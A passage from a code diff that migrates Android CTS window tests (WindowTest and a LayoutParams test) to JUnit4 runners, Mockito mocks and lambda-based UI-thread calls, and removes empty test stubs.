-        assertEquals(params.verticalMargin, mLayoutParams.verticalMargin);
+        assertEquals(params.verticalMargin, mLayoutParams.verticalMargin, 0.0f);
 
         params = new WindowManager.LayoutParams();
         params.verticalWeight = VERTICAL_WEIGHT;
         mLayoutParams = new WindowManager.LayoutParams();
         assertEquals(WindowManager.LayoutParams.LAYOUT_CHANGED,
                 mLayoutParams.copyFrom(params));
-        assertEquals(params.verticalWeight, mLayoutParams.verticalWeight);
+        assertEquals(params.verticalWeight, mLayoutParams.verticalWeight, 0.0f);
     }
 
+    @Test
     public void testDescribeContents() {
         mLayoutParams = new WindowManager.LayoutParams();
 
         assertEquals(0, mLayoutParams.describeContents());
     }
 
+    @Test
     public void testAccessTitle() {
         String title = "";
         mLayoutParams = new WindowManager.LayoutParams();
@@ -186,6 +201,7 @@
         assertEquals(spannedTitle, mLayoutParams.getTitle());
     }
 
+    @Test
     public void testToString() {
         mLayoutParams = new WindowManager.LayoutParams();
         assertNotNull(mLayoutParams.toString());
@@ -196,6 +212,7 @@
         assertNotNull(mLayoutParams.toString());
     }
 
+    @Test
     public void testWriteToParcel() {
         IBinder binder = new Binder();
         mLayoutParams = new WindowManager.LayoutParams(WINDOW_WIDTH, WINDOW_HEIGHT, XPOS, YPOS,
@@ -224,7 +241,4 @@
             // expected
         }
     }
-
-    public void testDebug() {
-    }
 }
diff --git a/tests/tests/view/src/android/view/cts/WindowTest.java b/tests/tests/view/src/android/view/cts/WindowTest.java
index 439eda5..05585f2 100644
--- a/tests/tests/view/src/android/view/cts/WindowTest.java
+++ b/tests/tests/view/src/android/view/cts/WindowTest.java
@@ -16,15 +16,26 @@
 
 package android.view.cts;
 
-import android.view.ContextThemeWrapper;
-import android.view.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.app.Instrumentation;
 import android.app.Presentation;
 import android.content.Context;
 import android.content.res.Configuration;
 import android.content.res.TypedArray;
-import android.cts.util.PollingCheck;
 import android.graphics.Color;
 import android.graphics.PixelFormat;
 import android.graphics.drawable.ColorDrawable;
@@ -36,22 +47,21 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 import android.util.Log;
-import android.view.ActionMode;
+import android.view.ContextThemeWrapper;
 import android.view.Display;
 import android.view.Gravity;
 import android.view.InputDevice;
 import android.view.InputQueue;
 import android.view.KeyEvent;
-import android.view.KeyboardShortcutGroup;
 import android.view.LayoutInflater;
-import android.view.Menu;
-import android.view.MenuItem;
 import android.view.MotionEvent;
-import android.view.SearchEvent;
 import android.view.Surface;
 import android.view.SurfaceHolder;
 import android.view.SurfaceView;
@@ -59,54 +69,69 @@
 import android.view.ViewGroup;
 import android.view.Window;
 import android.view.WindowManager;
-import android.view.accessibility.AccessibilityEvent;
 import android.widget.Button;
 import android.widget.TextView;
 
-import java.util.List;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
-public class WindowTest extends ActivityInstrumentationTestCase2<WindowCtsActivity> {
-    static final String TAG = "WindowTest";
-    private Window mWindow;
-    private Context mContext;
-    private Instrumentation mInstrumentation;
-    private WindowCtsActivity mActivity;
-    private SurfaceView surfaceView;
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class WindowTest {
+    private static final String TAG = "WindowTest";
     private static final int VIEWGROUP_LAYOUT_HEIGHT = 100;
     private static final int VIEWGROUP_LAYOUT_WIDTH = 200;
 
+    private Instrumentation mInstrumentation;
+    private WindowCtsActivity mActivity;
+    private Window mWindow;
+    private Window.Callback mWindowCallback;
+    private SurfaceView mSurfaceView;
+
     // for testing setLocalFocus
     private ProjectedPresentation mPresentation;
     private VirtualDisplay mVirtualDisplay;
 
-    public WindowTest() {
-        super("android.view.cts", WindowCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<WindowCtsActivity> mActivityRule =
+            new ActivityTestRule<>(WindowCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
-        mContext = mInstrumentation.getContext();
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
         mWindow = mActivity.getWindow();
+
+
+        mWindowCallback = mock(Window.Callback.class);
+        doReturn(true).when(mWindowCallback).dispatchKeyEvent(any());
+        doReturn(true).when(mWindowCallback).dispatchTouchEvent(any());
+        doReturn(true).when(mWindowCallback).dispatchTrackballEvent(any());
+        doReturn(true).when(mWindowCallback).dispatchGenericMotionEvent(any());
+        doReturn(true).when(mWindowCallback).dispatchPopulateAccessibilityEvent(any());
+        doReturn(true).when(mWindowCallback).onMenuItemSelected(anyInt(), any());
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void teardown() {
         if (mActivity != null) {
             mActivity.setFlagFalse();
         }
-        super.tearDown();
     }
 
     @UiThreadTest
-    public void testConstructor() throws Exception {
-        mWindow = new MockWindow(mContext);
-        assertSame(mContext, mWindow.getContext());
+    @Test
+    public void testConstructor() {
+        mWindow = new MockWindow(mActivity);
+        assertSame(mActivity, mWindow.getContext());
     }
 
     /**
@@ -117,8 +142,9 @@
      *              _2. test invocation of Window.Callback#onWindowAttributesChanged.
      * 3. clearFlags: clear the flag bits as specified in flags.
      */
-   public void testOpFlags() throws Exception {
-        mWindow = new MockWindow(mContext);
+    @Test
+    public void testOpFlags() {
+        mWindow = new MockWindow(mActivity);
         final WindowManager.LayoutParams attrs = mWindow.getAttributes();
         assertEquals(0, attrs.flags);
 
@@ -134,21 +160,21 @@
         mWindow.clearFlags(WindowManager.LayoutParams.FLAG_DITHER);
         assertEquals(0, attrs.flags);
 
-        MockWindowCallback callback = new MockWindowCallback();
-        mWindow.setCallback(callback);
-        assertFalse(callback.isOnWindowAttributesChangedCalled());
+        mWindow.setCallback(mWindowCallback);
+        verify(mWindowCallback, never()).onWindowAttributesChanged(any());
         // mask == flag, no bit of flag need to be modified.
         mWindow.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
                 WindowManager.LayoutParams.FLAG_FULLSCREEN);
         assertEquals(WindowManager.LayoutParams.FLAG_FULLSCREEN, attrs.flags);
 
         // Test if the callback method is called by system
-        assertTrue(callback.isOnWindowAttributesChangedCalled());
+        verify(mWindowCallback, times(1)).onWindowAttributesChanged(attrs);
         mWindow.clearFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
         mWindow.clearFlags(WindowManager.LayoutParams.FLAG_DITHER);
     }
 
-    public void testFindViewById() throws Exception {
+    @Test
+    public void testFindViewById() {
         TextView v = (TextView) mWindow.findViewById(R.id.listview_window);
         assertNotNull(v);
         assertEquals(R.id.listview_window, v.getId());
@@ -165,8 +191,9 @@
      *    there is just one method, onWindowAttributesChanged, used.
      * getCallback: Return the current Callback interface for this window.
      */
-    public void testAccessAttributes() throws Exception {
-        mWindow = new MockWindow(mContext);
+    @Test
+    public void testAccessAttributes() {
+        mWindow = new MockWindow(mActivity);
 
         // default attributes
         WindowManager.LayoutParams attr = mWindow.getAttributes();
@@ -180,10 +207,9 @@
         WindowManager.LayoutParams param = new WindowManager.LayoutParams(width, height,
                 WindowManager.LayoutParams.TYPE_BASE_APPLICATION,
                 WindowManager.LayoutParams.FLAG_DITHER, PixelFormat.RGBA_8888);
-        MockWindowCallback callback = new MockWindowCallback();
-        mWindow.setCallback(callback);
-        assertSame(callback, mWindow.getCallback());
-        assertFalse(callback.isOnWindowAttributesChangedCalled());
+        mWindow.setCallback(mWindowCallback);
+        assertSame(mWindowCallback, mWindow.getCallback());
+        verify(mWindowCallback, never()).onWindowAttributesChanged(any());
         mWindow.setAttributes(param);
         attr = mWindow.getAttributes();
         assertEquals(width, attr.width);
@@ -191,7 +217,7 @@
         assertEquals(WindowManager.LayoutParams.TYPE_BASE_APPLICATION, attr.type);
         assertEquals(PixelFormat.RGBA_8888, attr.format);
         assertEquals(WindowManager.LayoutParams.FLAG_DITHER, attr.flags);
-        assertTrue(callback.isOnWindowAttributesChangedCalled());
+        verify(mWindowCallback, times(1)).onWindowAttributesChanged(attr);
     }
 
     /**
@@ -199,12 +225,13 @@
      * container is false;
      * Otherwise, it will display itself meanwhile container's mHasChildren is true.
      */
-    public void testAccessContainer() throws Exception {
-        mWindow = new MockWindow(mContext);
+    @Test
+    public void testAccessContainer() {
+        mWindow = new MockWindow(mActivity);
         assertNull(mWindow.getContainer());
         assertFalse(mWindow.hasChildren());
 
-        MockWindow container = new MockWindow(mContext);
+        MockWindow container = new MockWindow(mActivity);
         mWindow.setContainer(container);
         assertSame(container, mWindow.getContainer());
         assertTrue(container.hasChildren());
@@ -217,30 +244,24 @@
      * getLayoutInflater: Quick access to the {@link LayoutInflater} instance that this Window
      *    retrieved from its Context.
      */
-    public void testAddContentView() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testAddContentView() {
         final ViewGroup.LayoutParams lp = new ViewGroup.LayoutParams(VIEWGROUP_LAYOUT_WIDTH,
                 VIEWGROUP_LAYOUT_HEIGHT);
         // The LayoutInflater instance will be inflated to a view and used by
         // addContentView,
         // id of this view should be same with inflated id.
         final LayoutInflater inflater = mActivity.getLayoutInflater();
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                TextView addedView = (TextView) mWindow.findViewById(R.id.listview_addwindow);
-                assertNull(addedView);
-                mWindow.addContentView(inflater.inflate(R.layout.windowstub_addlayout, null), lp);
-                TextView view = (TextView) mWindow.findViewById(R.id.listview_window);
-                addedView = (TextView) mWindow.findViewById(R.id.listview_addwindow);
-                assertNotNull(view);
-                assertNotNull(addedView);
-                assertEquals(R.id.listview_window, view.getId());
-                assertEquals(R.id.listview_addwindow, addedView.getId());
-            }
-        });
-        mInstrumentation.waitForIdleSync();
-    }
-
-    public void testCloseAllPanels() throws Throwable {
+        TextView addedView = (TextView) mWindow.findViewById(R.id.listview_addwindow);
+        assertNull(addedView);
+        mWindow.addContentView(inflater.inflate(R.layout.windowstub_addlayout, null), lp);
+        TextView view = (TextView) mWindow.findViewById(R.id.listview_window);
+        addedView = (TextView) mWindow.findViewById(R.id.listview_addwindow);
+        assertNotNull(view);
+        assertNotNull(addedView);
+        assertEquals(R.id.listview_window, view.getId());
+        assertEquals(R.id.listview_addwindow, addedView.getId());
     }
 
     /**
@@ -250,22 +271,19 @@
      * 1. Set focus view to null, get current focus, it should be null
      * 2. Set listview_window as focus view, get it and compare.
      */
-    public void testGetCurrentFocus() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                TextView v = (TextView) mWindow.findViewById(R.id.listview_window);
-                v.clearFocus();
-                assertNull(mWindow.getCurrentFocus());
+    @UiThreadTest
+    @Test
+    public void testGetCurrentFocus() {
+        TextView v = (TextView) mWindow.findViewById(R.id.listview_window);
+        v.clearFocus();
+        assertNull(mWindow.getCurrentFocus());
 
-                v.setFocusable(true);
-                assertTrue(v.isFocusable());
-                assertTrue(v.requestFocus());
-                View focus = mWindow.getCurrentFocus();
-                assertNotNull(focus);
-                assertEquals(R.id.listview_window, focus.getId());
-            }
-        });
-        mInstrumentation.waitForIdleSync();
+        v.setFocusable(true);
+        assertTrue(v.isFocusable());
+        assertTrue(v.requestFocus());
+        View focus = mWindow.getCurrentFocus();
+        assertNotNull(focus);
+        assertEquals(R.id.listview_window, focus.getId());
     }
 
     /**
@@ -276,19 +294,20 @@
      *    ontext is same as Window's context.
      * 2. Return null if decor view is not created, else the same with detDecorView.
      */
-    public void testDecorView() throws Exception {
+    @Test
+    public void testDecorView() {
         mInstrumentation.waitForIdleSync();
         View decor = mWindow.getDecorView();
         assertNotNull(decor);
-        checkDecorView(decor);
+        verifyDecorView(decor);
 
         decor = mWindow.peekDecorView();
         if (decor != null) {
-            checkDecorView(decor);
+            verifyDecorView(decor);
         }
     }
 
-    private void checkDecorView(View decor) {
+    private void verifyDecorView(View decor) {
         DisplayMetrics dm = new DisplayMetrics();
         mActivity.getWindowManager().getDefaultDisplay().getMetrics(dm);
         int screenWidth = dm.widthPixels;
@@ -304,7 +323,8 @@
      * getVolumeControlStream: Gets the suggested audio stream whose volume should be changed by
      *    the harwdare volume controls.
      */
-    public void testAccessVolumeControlStream() throws Exception {
+    @Test
+    public void testAccessVolumeControlStream() {
         // Default value is AudioManager.USE_DEFAULT_STREAM_TYPE, see javadoc of
         // {@link Activity#setVolumeControlStream}.
         assertEquals(AudioManager.USE_DEFAULT_STREAM_TYPE, mWindow.getVolumeControlStream());
@@ -317,12 +337,14 @@
      * getWindowManager: Return the window manager allowing this Window to display its own
      *    windows.
      */
-    public void testAccessWindowManager() throws Exception {
-        mWindow = new MockWindow(getActivity());
-        WindowManager expected = (WindowManager) getActivity().getSystemService(
+    @Test
+    public void testAccessWindowManager() {
+        mWindow = new MockWindow(mActivity);
+        WindowManager expected = (WindowManager) mActivity.getSystemService(
                 Context.WINDOW_SERVICE);
         assertNull(mWindow.getWindowManager());
-        mWindow.setWindowManager(expected, null, getName());
+        mWindow.setWindowManager(expected, null,
+                mActivity.getApplicationInfo().loadLabel(mActivity.getPackageManager()).toString());
         // No way to compare the expected and actual directly, they are
         // different object
         assertNotNull(mWindow.getWindowManager());
@@ -332,8 +354,9 @@
      * Return the {@link android.R.styleable#Window} attributes from this
      * window's theme. It's invisible.
      */
-    public void testGetWindowStyle() throws Exception {
-        mWindow = new MockWindow(mContext);
+    @Test
+    public void testGetWindowStyle() {
+        mWindow = new MockWindow(mActivity);
         final TypedArray windowStyle = mWindow.getWindowStyle();
         // the windowStyle is obtained from
         // com.android.internal.R.styleable.Window whose details
@@ -341,8 +364,9 @@
         assertNotNull(windowStyle);
     }
 
-    public void testIsActive() throws Exception {
-        MockWindow window = new MockWindow(mContext);
+    @Test
+    public void testIsActive() {
+        MockWindow window = new MockWindow(mActivity);
         assertFalse(window.isActive());
 
         window.makeActive();
@@ -354,64 +378,46 @@
      * isFloating: Return whether this window is being displayed with a floating style
      * (based on the {@link android.R.attr#windowIsFloating} attribute in the style/theme).
      */
-    public void testIsFloating() throws Exception {
+    @Test
+    public void testIsFloating() {
         // Default system theme defined by themes.xml, the windowIsFloating is set false.
         assertFalse(mWindow.isFloating());
     }
 
-    public void testPerformMethods() throws Exception {
-    }
-
-    public void testKeepHierarchyState() throws Exception {
-    }
-
     /**
      * Change the background of this window to a custom Drawable.
      * Setting the background to null will make the window be opaque(No way to get the window
      *  attribute of PixelFormat to check if the window is opaque). To make the window
      * transparent, you can use an empty drawable(eg. ColorDrawable with the color 0).
      */
+    @Test
     public void testSetBackgroundDrawable() throws Throwable {
         // DecorView holds the background
         View decor = mWindow.getDecorView();
         if (!mWindow.hasFeature(Window.FEATURE_SWIPE_TO_DISMISS)) {
             assertEquals(PixelFormat.OPAQUE, decor.getBackground().getOpacity());
         }
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                // setBackgroundDrawableResource(int resId) has the same
-                // functionality with
-                // setBackgroundDrawable(Drawable drawable), just different in
-                // parameter.
-                mWindow.setBackgroundDrawableResource(R.drawable.faces);
-            }
-        });
+        // setBackgroundDrawableResource(int resId) has the same
+        // functionality with setBackgroundDrawable(Drawable drawable), just different in
+        // parameter.
+        mActivityRule.runOnUiThread(() -> mWindow.setBackgroundDrawableResource(R.drawable.faces));
         mInstrumentation.waitForIdleSync();
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                ColorDrawable drawable = new ColorDrawable(0);
-                mWindow.setBackgroundDrawable(drawable);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            ColorDrawable drawable = new ColorDrawable(0);
+            mWindow.setBackgroundDrawable(drawable);
         });
         mInstrumentation.waitForIdleSync();
         decor = mWindow.getDecorView();
         // Color 0 with one alpha bit
         assertEquals(PixelFormat.TRANSPARENT, decor.getBackground().getOpacity());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mWindow.setBackgroundDrawable(null);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mWindow.setBackgroundDrawable(null));
         mInstrumentation.waitForIdleSync();
         decor = mWindow.getDecorView();
         assertNull(decor.getBackground());
     }
 
-    public void testSetChild() throws Exception {
-    }
-
     /**
      * setContentView(int): set the screen content from a layout resource.
      * setContentView(View): set the screen content to an explicit view.
@@ -425,105 +431,64 @@
      *   1. can't get the features requested because the getter is protected final.
      *   2. certain window flags are not clear to concrete one.
      */
+    @Test
     public void testSetContentView() throws Throwable {
         final ViewGroup.LayoutParams lp = new ViewGroup.LayoutParams(VIEWGROUP_LAYOUT_WIDTH,
                 VIEWGROUP_LAYOUT_HEIGHT);
         final LayoutInflater inflate = mActivity.getLayoutInflater();
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                TextView view;
-                View setView;
-                // Test setContentView(int layoutResID)
-                mWindow.setContentView(R.layout.windowstub_layout);
-                view = (TextView) mWindow.findViewById(R.id.listview_window);
-                assertNotNull(view);
-                assertEquals(R.id.listview_window, view.getId());
+        mActivityRule.runOnUiThread(() -> {
+            TextView view;
+            View setView;
+            // Test setContentView(int layoutResID)
+            mWindow.setContentView(R.layout.windowstub_layout);
+            view = (TextView) mWindow.findViewById(R.id.listview_window);
+            assertNotNull(view);
+            assertEquals(R.id.listview_window, view.getId());
 
-                // Test setContentView(View view)
-                setView = inflate.inflate(R.layout.windowstub_addlayout, null);
-                mWindow.setContentView(setView);
-                view = (TextView) mWindow.findViewById(R.id.listview_addwindow);
-                assertNotNull(view);
-                assertEquals(R.id.listview_addwindow, view.getId());
+            // Test setContentView(View view)
+            setView = inflate.inflate(R.layout.windowstub_addlayout, null);
+            mWindow.setContentView(setView);
+            view = (TextView) mWindow.findViewById(R.id.listview_addwindow);
+            assertNotNull(view);
+            assertEquals(R.id.listview_addwindow, view.getId());
 
-                // Test setContentView(View view, ViewGroup.LayoutParams params)
-                setView = inflate.inflate(R.layout.windowstub_layout, null);
-                mWindow.setContentView(setView, lp);
-                assertEquals(VIEWGROUP_LAYOUT_WIDTH, setView.getLayoutParams().width);
-                assertEquals(VIEWGROUP_LAYOUT_HEIGHT, setView.getLayoutParams().height);
-                view = (TextView) mWindow.findViewById(R.id.listview_window);
-                assertNotNull(view);
-                assertEquals(R.id.listview_window, view.getId());
-            }
+            // Test setContentView(View view, ViewGroup.LayoutParams params)
+            setView = inflate.inflate(R.layout.windowstub_layout, null);
+            mWindow.setContentView(setView, lp);
+            assertEquals(VIEWGROUP_LAYOUT_WIDTH, setView.getLayoutParams().width);
+            assertEquals(VIEWGROUP_LAYOUT_HEIGHT, setView.getLayoutParams().height);
+            view = (TextView) mWindow.findViewById(R.id.listview_window);
+            assertNotNull(view);
+            assertEquals(R.id.listview_window, view.getId());
         });
         mInstrumentation.waitForIdleSync();
     }
 
-    /**
-     * setFeatureDrawable: Set an explicit Drawable value for feature of this window.
-     * setFeatureDrawableAlpha: Set a custom alpha value for the given drawale feature,
-     *    controlling how much the background is visible through it.
-     * setFeatureDrawableResource: Set the value for a drawable feature of this window, from
-     *    a resource identifier.
-     * setFeatureDrawableUri: Set the value for a drawable feature of this window, from a URI.
-     * setFeatureInt: Set the integer value for a feature.  The range of the value depends on
-     *    the feature being set.  For FEATURE_PROGRESSS, it should go from 0 to
-     *    10000. At 10000 the progress is complete and the indicator hidden
-     *
-     * the set views exist, and no getter way to check.
-     */
-    public void testSetFeature() throws Throwable {
-    }
-
+    @Test
     public void testSetTitle() throws Throwable {
         final String title = "Android Window Test";
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mWindow.setTitle(title);
-                mWindow.setTitleColor(Color.BLUE);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mWindow.setTitle(title);
+            mWindow.setTitleColor(Color.BLUE);
         });
         mInstrumentation.waitForIdleSync();
         // No way to get title and title color
     }
 
     /**
-     * These 3 methods: Used by custom windows, such as Dialog, to pass the key press event
-     * further down the view hierarchy. Application developers should not need to implement or
-     * call this.
-     */
-    public void testSuperDispatchEvent() throws Exception {
-    }
-
-    /**
      * takeKeyEvents: Request that key events come to this activity. Use this if your activity
      * has no views with focus, but the activity still wants a chance to process key events.
      */
+    @Test
     public void testTakeKeyEvents() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                View v = mWindow.findViewById(R.id.listview_window);
-                v.clearFocus();
-                assertNull(mWindow.getCurrentFocus());
-                mWindow.takeKeyEvents(false);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            View v = mWindow.findViewById(R.id.listview_window);
+            v.clearFocus();
+            assertNull(mWindow.getCurrentFocus());
+            mWindow.takeKeyEvents(false);
         });
         mInstrumentation.waitForIdleSync();
-        // sendKeys(KeyEvent.KEYCODE_DPAD_CENTER);
-        // assertFalse(mActivity.isOnKeyDownCalled());
-    }
-
-    /**
-     * onConfigurationChanged: Should be called when the configuration is changed.
-     */
-    public void testOnConfigurationChanged() throws Exception {
-    }
-
-    /**
-     * requestFeature: Enable extended screen features.
-     */
-    public void testRequestFeature() throws Exception {
     }
 
     /**
@@ -535,46 +500,43 @@
      *                          PixelFormat.UNKNOWN to allow the Window to select
      *                          the format.
      */
-    public void testSetDefaultWindowFormat() throws Exception {
-        MockWindowCallback callback;
-        MockWindow window = new MockWindow(mContext);
+    @Test
+    public void testSetDefaultWindowFormat() {
+        MockWindow window = new MockWindow(mActivity);
 
         // mHaveWindowFormat will be true after set PixelFormat.OPAQUE and
         // setDefaultWindowFormat is invalid
         window.setFormat(PixelFormat.OPAQUE);
-        callback = new MockWindowCallback();
-        window.setCallback(callback);
-        assertFalse(callback.isOnWindowAttributesChangedCalled());
+        window.setCallback(mWindowCallback);
+        verify(mWindowCallback, never()).onWindowAttributesChanged(any());
         window.setDefaultWindowFormat(PixelFormat.JPEG);
         assertEquals(PixelFormat.OPAQUE, window.getAttributes().format);
-        assertFalse(callback.isOnWindowAttributesChangedCalled());
+        verify(mWindowCallback, never()).onWindowAttributesChanged(any());
 
         // mHaveWindowFormat will be false after set PixelFormat.UNKNOWN and
         // setDefaultWindowFormat is valid
         window.setFormat(PixelFormat.UNKNOWN);
-        callback = new MockWindowCallback();
-        window.setCallback(callback);
-        assertFalse(callback.isOnWindowAttributesChangedCalled());
+        reset(mWindowCallback);
         window.setDefaultWindowFormat(PixelFormat.JPEG);
         assertEquals(PixelFormat.JPEG, window.getAttributes().format);
-        assertTrue(callback.isOnWindowAttributesChangedCalled());
+        verify(mWindowCallback, times(1)).onWindowAttributesChanged(window.getAttributes());
     }
 
     /**
      * Set the gravity of the window
      */
-    public void testSetGravity() throws Exception {
-        mWindow = new MockWindow(mContext);
+    @Test
+    public void testSetGravity() {
+        mWindow = new MockWindow(mActivity);
         WindowManager.LayoutParams attrs = mWindow.getAttributes();
         assertEquals(0, attrs.gravity);
 
-        MockWindowCallback callback = new MockWindowCallback();
-        mWindow.setCallback(callback);
-        assertFalse(callback.isOnWindowAttributesChangedCalled());
+        mWindow.setCallback(mWindowCallback);
+        verify(mWindowCallback, never()).onWindowAttributesChanged(any());
         mWindow.setGravity(Gravity.TOP);
         attrs = mWindow.getAttributes();
         assertEquals(Gravity.TOP, attrs.gravity);
-        assertTrue(callback.isOnWindowAttributesChangedCalled());
+        verify(mWindowCallback, times(1)).onWindowAttributesChanged(attrs);
     }
 
     /**
@@ -582,38 +544,38 @@
      *    1.The default for both of these is MATCH_PARENT;
      *    2.You can change them to WRAP_CONTENT to make a window that is not full-screen.
      */
-    public void testSetLayout() throws Exception {
-        mWindow = new MockWindow(mContext);
+    @Test
+    public void testSetLayout() {
+        mWindow = new MockWindow(mActivity);
         WindowManager.LayoutParams attrs = mWindow.getAttributes();
         assertEquals(WindowManager.LayoutParams.MATCH_PARENT, attrs.width);
         assertEquals(WindowManager.LayoutParams.MATCH_PARENT, attrs.height);
 
-        MockWindowCallback callback = new MockWindowCallback();
-        mWindow.setCallback(callback);
-        assertFalse(callback.isOnWindowAttributesChangedCalled());
+        mWindow.setCallback(mWindowCallback);
+        verify(mWindowCallback, never()).onWindowAttributesChanged(any());
         mWindow.setLayout(WindowManager.LayoutParams.WRAP_CONTENT,
                 WindowManager.LayoutParams.WRAP_CONTENT);
         attrs = mWindow.getAttributes();
         assertEquals(WindowManager.LayoutParams.WRAP_CONTENT, attrs.width);
         assertEquals(WindowManager.LayoutParams.WRAP_CONTENT, attrs.height);
-        assertTrue(callback.isOnWindowAttributesChangedCalled());
+        verify(mWindowCallback, times(1)).onWindowAttributesChanged(attrs);
     }
 
     /**
      * Set the type of the window, as per the WindowManager.LayoutParams types.
      */
-    public void testSetType() throws Exception {
-        mWindow = new MockWindow(mContext);
+    @Test
+    public void testSetType() {
+        mWindow = new MockWindow(mActivity);
         WindowManager.LayoutParams attrs = mWindow.getAttributes();
         assertEquals(WindowManager.LayoutParams.TYPE_APPLICATION, attrs.type);
 
-        MockWindowCallback callback = new MockWindowCallback();
-        mWindow.setCallback(callback);
-        assertFalse(callback.isOnWindowAttributesChangedCalled());
+        mWindow.setCallback(mWindowCallback);
+        verify(mWindowCallback, never()).onWindowAttributesChanged(any());
         mWindow.setType(WindowManager.LayoutParams.TYPE_BASE_APPLICATION);
         attrs = mWindow.getAttributes();
-        assertEquals(WindowManager.LayoutParams.TYPE_BASE_APPLICATION, mWindow.getAttributes().type);
-        assertTrue(callback.isOnWindowAttributesChangedCalled());
+        assertEquals(WindowManager.LayoutParams.TYPE_BASE_APPLICATION, attrs.type);
+        verify(mWindowCallback, times(1)).onWindowAttributesChanged(attrs);
     }
 
     /**
@@ -622,8 +584,9 @@
      *    1.Providing "unspecified" here will NOT override the input mode the window.
      *    2.Providing "unspecified" here will override the input mode the window.
      */
-    public void testSetSoftInputMode() throws Exception {
-        mWindow = new MockWindow(mContext);
+    @Test
+    public void testSetSoftInputMode() {
+        mWindow = new MockWindow(mActivity);
         assertEquals(WindowManager.LayoutParams.SOFT_INPUT_STATE_UNSPECIFIED,
                 mWindow.getAttributes().softInputMode);
         mWindow.setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_VISIBLE);
@@ -641,35 +604,28 @@
      *    it because the getter is in WindowManagerService and is private)
      *    2.Providing 0 here will override the animations the window.
      */
-    public void testSetWindowAnimations() throws Exception {
-        mWindow = new MockWindow(mContext);
+    @Test
+    public void testSetWindowAnimations() {
+        mWindow = new MockWindow(mActivity);
 
-        MockWindowCallback callback = new MockWindowCallback();
-        mWindow.setCallback(callback);
-        assertFalse(callback.isOnWindowAttributesChangedCalled());
+        mWindow.setCallback(mWindowCallback);
+        verify(mWindowCallback, never()).onWindowAttributesChanged(any());
         mWindow.setWindowAnimations(R.anim.alpha);
         WindowManager.LayoutParams attrs = mWindow.getAttributes();
         assertEquals(R.anim.alpha, attrs.windowAnimations);
-        assertTrue(callback.isOnWindowAttributesChangedCalled());
-    }
-
-    public void testFinalMethod() throws Exception {
-        // No way to test protected final method
+        verify(mWindowCallback, times(1)).onWindowAttributesChanged(attrs);
     }
 
     /**
      * Test setLocalFocus together with injectInputEvent.
      */
+    @Test
     public void testSetLocalFocus() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                surfaceView = new SurfaceView(mContext);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mSurfaceView = new SurfaceView(mActivity));
         mInstrumentation.waitForIdleSync();
 
         final Semaphore waitingSemaphore = new Semaphore(0);
-        surfaceView.getHolder().addCallback(new SurfaceHolder.Callback() {
+        mSurfaceView.getHolder().addCallback(new SurfaceHolder.Callback() {
             @Override
             public void surfaceCreated(SurfaceHolder holder) {
             }
@@ -685,32 +641,21 @@
             public void surfaceDestroyed(SurfaceHolder holder) {
                 destroyPresentation();
             }
-          });
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mWindow.setContentView(surfaceView);
-            }
         });
+        mActivityRule.runOnUiThread(() -> mWindow.setContentView(mSurfaceView));
         mInstrumentation.waitForIdleSync();
         assertTrue(waitingSemaphore.tryAcquire(5, TimeUnit.SECONDS));
         assertNotNull(mVirtualDisplay);
         assertNotNull(mPresentation);
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return (mPresentation.button1 != null) && (mPresentation.button2 != null) &&
-                        (mPresentation.button3 != null) && mPresentation.ready;
-            }
-        }.run();
+
+        PollingCheck.waitFor(() -> (mPresentation.button1 != null)
+                && (mPresentation.button2 != null) && (mPresentation.button3 != null)
+                && mPresentation.ready);
         assertTrue(mPresentation.button1.isFocusable() && mPresentation.button2.isFocusable() &&
                 mPresentation.button3.isFocusable());
         // currently it is only for debugging
-        View.OnFocusChangeListener listener = new View.OnFocusChangeListener() {
-            @Override
-            public void onFocusChange(View v, boolean hasFocus) {
+        View.OnFocusChangeListener listener = (View v, boolean hasFocus) ->
                 Log.d(TAG, "view " + v + " focus " + hasFocus);
-            }
-        };
 
         // check key event focus
